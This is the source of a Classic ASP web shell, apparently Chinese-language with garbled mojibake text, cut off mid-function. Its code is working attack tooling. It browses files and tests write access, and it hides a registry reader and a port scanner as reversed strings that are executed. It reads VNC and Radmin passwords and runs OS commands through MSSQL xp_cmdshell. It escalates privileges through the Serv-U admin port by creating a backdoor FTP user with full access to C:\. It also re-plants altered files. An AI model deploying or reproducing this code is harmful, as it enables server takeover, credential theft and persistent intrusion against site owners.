Scmsg = Scmsg & "<br><br>ע<>⣺<EFBFBD><E2A3BA>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>ˢ<EFBFBD>±<EFBFBD>ҳ<EFBFBD>棬<EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻд<D6BB>ļ<EFBFBD><C4BC>л<EFBFBD><D0BB><EFBFBD><EFBFBD>´<EFBFBD><C2B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>!"&backurl
Set FSO = Nothing
Message "",Scmsg,1
next
End Sub
Function ScReWr(folder)
On Error Resume Next
Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestFolder = FSO.GetFolder(folder)
Set TestFileList = TestFolder.SubFolders
RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
For Each A in TestFileList
Next
If err Then
err.Clear
ReWrStr = folder & "<FONT color=#ff2222> <20><><EFBFBD>ɶ<EFBFBD>,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "<22><><EFBFBD><EFBFBD>д<EFBFBD><D0B4></FONT>"
Else
ReWrStr = ReWrStr & "<22><>д<EFBFBD><D0B4></FONT>"
FSO.DeleteFile folder & RndFilename,True
End If
Else
ReWrStr = folder & "<FONT color=#dddddd> <20>ɶ<EFBFBD>,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "<22><><EFBFBD><EFBFBD>д<EFBFBD><D0B4></FONT>"
Else
ReWrStr = ReWrStr & "<22><>д<EFBFBD><D0B4></FONT>"
FSO.DeleteFile folder & RndFilename,True
End if
End if
Set TestFileList = Nothing
Set TestFolder = Nothing
Set FSO = Nothing
ScReWr = ReWrStr
End Function
function goback()
set Ofso = Server.CreateObject("Scripting.FileSystemObject")
set ofolder = Ofso.Getfolder(Session("FolderPath"))
if not ofolder.IsRootFolder then
j "<script>ShowFolder("""&RePath(ofolder.parentfolder)&""")</script>"
else
j "<script>ShowFolder("""&Session("FolderPath")&""")</script><center><3E>Ѿ<EFBFBD><D1BE>Ǵ<EFBFBD><C7B4≯<EFBFBD>Ŀ¼<C4BF><C2BC>!</center><center><br><INPUT type=button value=<3D><><EFBFBD><EFBFBD> onClick='history.go(-1);'></br></center>"
end if
set Ofso=nothing
set ofolder=nothing
end function
ShiSan="bus dne<6E><65>fi dne<6E><65>fI dnE<6E><45>yarrAeht & <20><>>il<<3C><> j<><6A>eslE<6C><45>txeN<65><4E>)i(yarrAeht & <20><>>il<<3C><> j<><6A>)yarrAeht(dnuoBU oT 0=i roF<6F><46>nehT )yarrAeht(yarrAsI fI<66><49>)htaPeht(daeRgeR.Xsw=yarrAeht<68><74>)<29><>htaPeht<68><74>(tseuqeR=htaPeht<68><74>)<29><>llehS.tpircSW<53><57>(tcejbOetaerC.revreS = Xsw teS<65><53>txeN emuseR rorrE nO<6E><4F>neht <20><><EFBFBD><EFBFBD>><)<29><>htaPeht<68><74>(tseuqeR fi<66><69><EFBFBD><EFBFBD>>/rh<>mrof/<<3C><> j<><6A><EFBFBD><EFBFBD>>')(timbus.mrof.siht'=kcilcno 'ֵ <20><> <20><>'=eulav nottub=epyt tupni<<3C><> j<><6A><EFBFBD><EFBFBD>>08=ezis ''=eulav htaPeht=eman tupni< <20><> j<><6A><EFBFBD><EFBFBD>>/ rb<>tceles/<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>PCT<43>ķſ<C4B7><C5BF><EFBFBD><EFBFBD><EFBFBD>>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>PDU<44>ķſ<C4B7><C5BF><EFBFBD><EFBFBD><EFBFBD>>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ſ<EFBFBD><C5BF><EFBFBD><EFBFBD><EFBFBD>>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<goL eludehcS>'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<3<>˹<EFBFBD>pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<2<>˹<EFBFBD>pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<1<>˹<EFBFBD>pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>̬״WynAcP><3E><><EFBFBD><EFBFBD>troPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ˾<DAB6><CBBE><EFBFBD>WynAcP><3E><><EFBFBD><EFBFBD>troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>9833><3E><><EFBFBD><EFBFBD>rebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>4CNV><3E><><EFBFBD><EFBFBD>rebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C><><EFBFBD><EFBFBD>4CNV><3E><><EFBFBD><EFBFBD>drowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>3CNV><3E><><EFBFBD><EFBFBD>rebmuNtroP\3CNVniW\LRO\erawtfoS\UCKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C><><EFBFBD><EFBFBD>3CNV><3E><><EFBFBD><EFBFBD>drowssaP\3CNVniW\LRO\erawtfoS\UCKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C>ڶ<EFBFBD>nimdaR><3E><><EFBFBD><EFBFBD>troP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C><><EFBFBD><EFBFBD>nimdaR><3E><><EFBFBD><EFBFBD>retemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<<3C><><EFBFBD>п<EFBFBD><D0BF><EFBFBD>><3E><><EFBFBD><EFBFBD>dniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKH<4B><48><EFBFBD><EFBFBD>=eulav noitpo<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>noitpo/<emaNretupmoC>'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>noitpo/<ֵ<><D6B5><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD>ѡ>''=eulav noitpo<<3C><> j<><6A><EFBFBD><EFBFBD>>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles<<3C><> j<><6A><EFBFBD><EFBFBD> >2=napsloc dt<>rt<<3C><> j<><6A><EFBFBD><EFBFBD>>tcAeht=eman geRdaeR=eulav neddih=epyt tupni<<3C><> j<><6A> <20><>>p<ȡ<><C8A1>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2> j<><6A><EFBFBD><EFBFBD>>tsop=dohtem mrof<<3C><> j<><6A>)(GERdaeR bus"
ExeCuTe(ShiSanFun(ShiSan))
if request("ProFile")<>"" then
on error resume next
if Application(request("ProFile"))=1 then
Set fsoXX = Server.CreateObject("Scripting.FileSystemObject")
if request("DelCon")=1 then
Application(request("ProFile")&"Con")=""
response.redirect Url&"?ProFile="&request("ProFile")&""
response.end
end if
DIM rline,rline2
rline2=Application(request("ProFile")&"Code")
rline2=rline2&vbcrlf
j"<meta http-equiv=""refresh"" content="&Application(request("ProFile")&"Time")&">"
j"<a href="&Url&"?ProFile="&request("ProFile")&"&DelCon=1><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־</b></a> &nbsp;<font color=yellow>Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӹر<D3B9>ҳ<EFBFBD>漴<EFBFBD>ɡ<EFBFBD></font><br>"
for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf)
FileUrl=trim(FileUrl)
if fsoXX.FileExists(FileUrl) then
Set txt = fsoXX.OpenTextFile(FileUrl,1,true)
rline=""
if Not txt.AtEndOfStream then
rline=txt.ReadAll
end if
if rline2<>rline then
txt.close
fsoX.GetFile(FileUrl).Attributes=32
if Application(request("ProFile")&"Char")=1 then
set myfileee = fsoXX.CreateTextFile(FileUrl,true)
else
set myfileee = fsoXX.CreateTextFile(FileUrl,true,true)
end if
myfileee.writeline Application(request("ProFile")&"Code")
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=yellow><3E><><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3>ѻָ<D1BB></font><br>"&Application(request("ProFile")&"Con")
else
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <20><><br>"&Application(request("ProFile")&"Con")
txt.close
end if
else
if Application(request("ProFile")&"Char")=1 then
set myfileee = fsoXX.CreateTextFile(FileUrl,true)
else
set myfileee = fsoXX.CreateTextFile(FileUrl,true,true)
end if
myfileee.writeline Application(request("ProFile")&"Code")
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=red><3E><>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD>ѻָ<D1BB></font><br>"&Application(request("ProFile")&"Con")
end if
next
if ubound(split(Application(request("ProFile")&"Con"),"<br>"))>=40 then
dim ashowic
for ashowi=0 to 40
ashowic=ashowic&split(Application(request("ProFile")&"Con"),"<br>")(ashowi)&"<br>"
next
Application(request("ProFile")&"Con")=ashowic
end if
j Application(request("ProFile")&"Con")
else
j"<br><br><br><center><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD>ʧ<EFBFBD><CAA7><EFBFBD><EFBFBD><a href="&URL&" style=""text-decoration:underline;font-weight:bold""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̡<EFBFBD></center>"
end if
response.end
end if
if session("KKK")<>UserPass then
if request.form("pass")<>"" then
if request.form("pass")=UserPass then
session("KKK")=UserPass
response.redirect url
else
j"<br><br><br><b><div align=center><font size='5' color='red'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</font "&userpass&"></b> <br><br><br><br><b><div align=center><font size='14' color='lime'></font></b></p></center>"&backurl
end if
else
si="<center><a></a><div style='width:400px;padding:32px; align=left'><br><form action='"&url&"' method='post'><input name='pass' type='password' size='22'> <input type='submit' value='ɱ'></center>"
if instr(SI,SIC)<>0 then j sI
end if
response.end
end if
ShiSan="buS dnE<6E><45>fI dnE<6E><45>fI dnE<6E><45>fI dnE<6E><45>)<29><>>rb<>tnof/<<3C>ſ<EFBFBD>>der=roloc tnof<.........<2E><> & muNtrop & <20><>:<3A><> & pitegrat(j<><6A>eslE<6C><45>)<29><>>rb<<3C>չ<EFBFBD>.........<2E><> & muNtrop & <20><>:<3A><> & pitegrat(j<><6A>nehT 0 > )<29><>.))(tcennoC(<28><> ,noitpircsed.rrE(rtSnI fI<66><49>nehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fI<66><49>nehT rrE fI<66><49>rtsnnoc nepo.nnoc<6F><63>1 = tuoemiTnoitcennoC.nnoc<6F><63><EFBFBD><EFBFBD>;=drowssaP;2ekal=DI resU;<3B><>& muNtrop &<26><>,<2C><>& pitegrat & <20><>=ecruoS ataD;1.BDELOLQS=redivorP<72><50>=rtsnnoc<6F><63>)<29><>noitcennoc.BDODA<44><41>(tcejbOetaerC.revreS = nnoc tes<65><73>txeN emuseR rorrE nO<6E><4F>)muNtrop ,pitegrat(nacS buS<75><53>bus dne<6E><65>FI DNE<4E><45><EFBFBD><EFBFBD>s <20><>&emiteht&<26><> ni ssecorP>rh<<3C><>j<EFBFBD><6A>))1remit-2remit(tni(rtsc=emiteht<68><74>remit = 2remit<69><74>txeN<65><4E>fI dnE<6E><45>txeN<65><4E>txeN<65><4E>fI dnE<6E><45>fI dnE<6E><45>)<29><>>rb<rebmun ton si <20><> & )i(pmt(j<><6A>eslE<6C><45>fI dnE<6E><45>)<29><>>rb<rebmun ton si <20><> & Ndne & <20><> ro <20><> & Ntrats(j<><6A>eslE<6C><45>txeN<65><4E>)j,xxx & tratSpi(nacS llaC<61><43>Ndne oT Ntrats = j roF<6F><46>nehT )Ndne(ciremunsI dna )Ntrats(ciremunsI fI<66><49>) xkees - ))i(pmt(neL ,)i(pmt(thgiR = Ndne<6E><65>) 1 - xkees ,)i(pmt(tfeL = Ntrats<74><73>nehT 0 > xkees fI<66><49>)<29><>-<2D><> ,)i(pmt(rtSnI = xkees<65><73>eslE<6C><45>))i(pmt ,xxx & tratSpi(nacS llaC<61><43> nehT ))i(pmt(ciremunsI fI<66><49>)pmt(dnuobU oT 0 = i roF<6F><46>))<29><>-<2D><>,)uh(pi(rtSnI-))uh(pi(neL,1+)<29><>-<2D><>,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)<29><>.<2E><>,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF<6F><46>))<29><>.<2E><>,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi<70><69>eslE<6C><45>txeN<65><4E>fI dnE<6E><45>fI dnE<6E><45>)<29><>>rb<rebmun ton si <20><> & )i(pmt(j<><6A>eslE<6C><45>fI dnE<6E><45>)<29><>>rb<rebmun ton si <20><> & Ndne & <20><> ro <20><> & Ntrats(j<><6A>eslE<6C><45>txeN<65><4E>)j ,)uh(pi(nacS llaC<61><43>Ndne oT Ntrats = j roF<6F><46>nehT )Ndne(ciremunsI dna )Ntrats(ciremunsI fI<66><49>) xkees - ))i(pmt(neL ,)i(pmt(thgiR = Ndne<6E><65>) 1 - xkees ,)i(pmt(tfeL = Ntrats<74><73>nehT 0 > xkees fI<66><49>)<29><>-<2D><> ,)i(pmt(rtSnI = xkees<65><73>eslE<6C><45>))i(pmt ,)uh(pi(nacS llaC<61><43> nehT ))i(pmt(ciremunsI fI<66><49>)pmt(dnuobU oT 0 = i roF<6F><46>nehT 0 = )<29><>-<2D><>,)uh(pi(rtSnI fI<66><49>)pi(dnuobU ot 0 = uh roF<6F><46>)<29><>,<2C><>,)<29><>pi<70><69>(mroF.tseuqer(tilpS = pi<70><69>)<29><>,<2C><>,)<29><>trop<6F><70>(mroF.tseuqer(tilpS = pmt<6D><74>)<29><>>rh<>rb<>b/<:<3A>汨<EFBFBD><E6B1A8>ɨ>b<<3C><>(j<><6A>remit = 1remit<69><74>nehT <20><><EFBFBD><EFBFBD> >< )<29><>nacs<63><73>(mroF.tseuqer fI<66><49><EFBFBD><EFBFBD>>mrof/<>p/<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupni<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>rb<>rb<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>'<27><>&tsiLtroP&<26><>'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupni<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>:tsiL troP>rb<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>'06'=ezis '<27><>&PI&<26><>'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< <20><>j<EFBFBD><6A><EFBFBD><EFBFBD> :PI nacS>p<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<<3C><>j<EFBFBD><6A><EFBFBD><EFBFBD>>p/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5>ִ<EFBFBD><D6B4>LLEHS<48><53><EFBFBD>롣<EFBFBD><EBA1A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܿ<EFBFBD>PI<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9><EFBFBD>>p<>p/<)<29><>ȷ׼<C8B7><D7BC><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>ڶ<EFBFBD>DMC<4D><43>DMC<4D><43>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>,<2C><><EFBFBD>ϱȶ<CFB1><C8B6><EFBFBD>,<2C>ڶ˸<DAB6><CBB8><EFBFBD><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>ɨ<EFBFBD>ڶ<EFBFBD>>p<<3C><>j<EFBFBD><6A>fi dne<6E><65>)<29><>pi<70><69>(mroF.tseuqer=PI<50><49>esle<6C><65><EFBFBD><EFBFBD>1.0.0.721<EFBFBD><EFBFBD>=PI<50><49>neht <20><><EFBFBD><EFBFBD>=)<29><>pi<70><69>(mroF.tseuqer fi<66><69>fi dne<6E><65>)<29><>trop<6F><70>(mroF.tseuqer=tsiLtroP<6F><50>esle<6C><65><EFBFBD><EFBFBD>85934,0095,0085,2365,1365,9984,9833,6033,3341,35,32,12<31><32>=tsiLtroP<6F><50>neht <20><><EFBFBD><EFBFBD>=)<29><>trop<6F><70>(mroF.tseuqer fi<66><69>0006777 = tuoemiTtpircS.revreS<65><53>)(troPnacS bus<75><73>"
ExeCuTe(ShiSanFun(ShiSan))
Select Case Action:case "MainMenu":MainMenu()
Case "EditPower"
Call EditPower(request("PowerPath"))
Case "SavePower"
Call SavePower(request("PowerPath"),request("SaveType"))
case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="<br><form name=form method=post action=""""><table width=""85%"" align='center'><tr align=center><Td id=s><b id=x>MSSQL Commander</b></td></tr><tr align='center'><td id=d><b id=x>Command<6E><64></b><input type=text name=MMD size=35 value=""ipconfig"" >&nbsp;<b id=x>UserName<6D><65></b><input type=text name=U value=sa>&nbsp;<b id=x>Password<72><64></b><input type=text name=P VALUES=123456>&nbsp;<input type=submit value=Execute></td></tr></table></form>":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","&nbsp;"):strResult = Replace(strResult,"<","&lt;"):strResult = Replace(strResult,">","&gt;"):strResult = Replace(strResult,chr(13),"<br>"):End if:set adoConn = Nothing:j request.form("MMD") & "<br>"& strResult:end FuncTion:case "Alexa"
dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&""
SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'><tr><td height='20' colspan='3' align='center' bgcolor='menu'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr><form method=post action='http://www.baidu.com/ips8.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'><input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='<27><>ѯ<EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1></td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&now&" </td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CPU<50><55><EFBFBD><EFBFBD></td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB<45><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
For i=0 To 18
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"
Next
j SI
Err.Clear
function getHTTPPage(url)
on error resume next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
getHTTPPage=""
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
Err.Clear
End Function
Case "Servu"
SUaction=request("SUaction")
if not isnumeric(SUaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case SUaction
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
j"<form method='post' name='goldsun'>"
j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
j"<input name='SUaction' type='hidden' id='SUaction' value='2'></form>"
j"<script language='javascript'>"
j"document.write('<center><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127.0.0.1:"&port&",ʹ<><CAB9><EFBFBD>û<EFBFBD><C3BB><EFBFBD>: "&user&",<2C><><EFBFBD>"&pass&"...<center>');"
j"setTimeout('document.all.goldsun.submit();',4000);"
j"</script>"
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
j"<form method='post' name='goldsun'>"
j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
j"<input name='SUaction' type='hidden' id='SUaction' value='3'></form>"
j"<script language='javascript'>"
j"document.write('<center><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>,<2C><><EFBFBD>ȴ<EFBFBD>...,<center>');"
j"setTimeout(""document.all.goldsun.submit();"",4000);"
j"</script>"
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
